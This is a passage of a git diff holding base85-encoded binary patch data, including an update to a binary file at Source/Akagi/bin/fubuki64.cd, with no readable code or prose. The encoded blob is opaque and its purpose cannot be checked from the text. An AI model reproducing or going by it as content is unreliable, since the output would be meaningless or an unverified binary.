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 diff --git a/Source/Akagi/bin/fubuki64.cd b/Source/Akagi/bin/fubuki64.cd index eacd7d5cd9cf6b3253bfefe9e624eb024e96dea8..bd84ab344ee7f92ae1efde830300b7e81a13b8d9 100644 GIT binary patch literal 12207 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 literal 12188 zcmXwfc{tSX7q*>DD9czwwrpc9I~6HJ$Ub9f7{V}QB)f{SMiN<)vSl5{GBd^&gHSVN z9WxABGO|V_Dtdi?@B9Awxjxsqp65B|Ip@Bgb8e^w3ZRe+`F+uv5XvAGH2V^`he&7QszJ z?tXr(;oFPi<*)O=e4FEed}_sFpzW-MF9N~O8|VbHmC)*kP$D_~Y&IkhK8KFM$NVl4 zsyf>7201RrmBL2)cl(RhDTqA=FJKc`E&H-#^>;U)HFiCSSR_p3`#mK~nZfIAUl^!u^)?6k`i z7L@eV){Ceb3K|kE=Mb)Rb5;Q8J2rSLW9J9=C+ap}$MeR^U@NSw6Rg7U@`$bP)E|{= z)i2u^nFkKtNdlebMFV`E##5TM$uz zT`%_L?9t9V^68B;Th;TN49FLZ=?J18Y`iEn^nCmLmyApNlU@BtZO{jL-^M{!8eQeC1oLq~6_{rhaNv&#+F-%2-W>ft;w9nXgG$a$W}ouOtAlf|`)DsuZOq6J|B zw&6q+xBMo=K(AGc&~SA*^sT1)W3x4IE9r%_P($6TmfkUx%5n;22mZH3C}e0>S9*f$ zR+I0jaN9480IJfp;ca4)m$Pq7gR=+0j6uenWhPecu?`!E&MPPy&P9q8zBkU!-&c*! z4?$k{3*RXG9DYT=4hS8MaAj+}qLCii)Z6=ek2NY9_tuMkTH!~g$b91U%e-T@$?9X7 z{=~owt>Ihd+^^OJbZWb(w+K0X!OTrCAxRLwk?@Z$-s6P=33IL3z17W_D(jiF8}Q!o 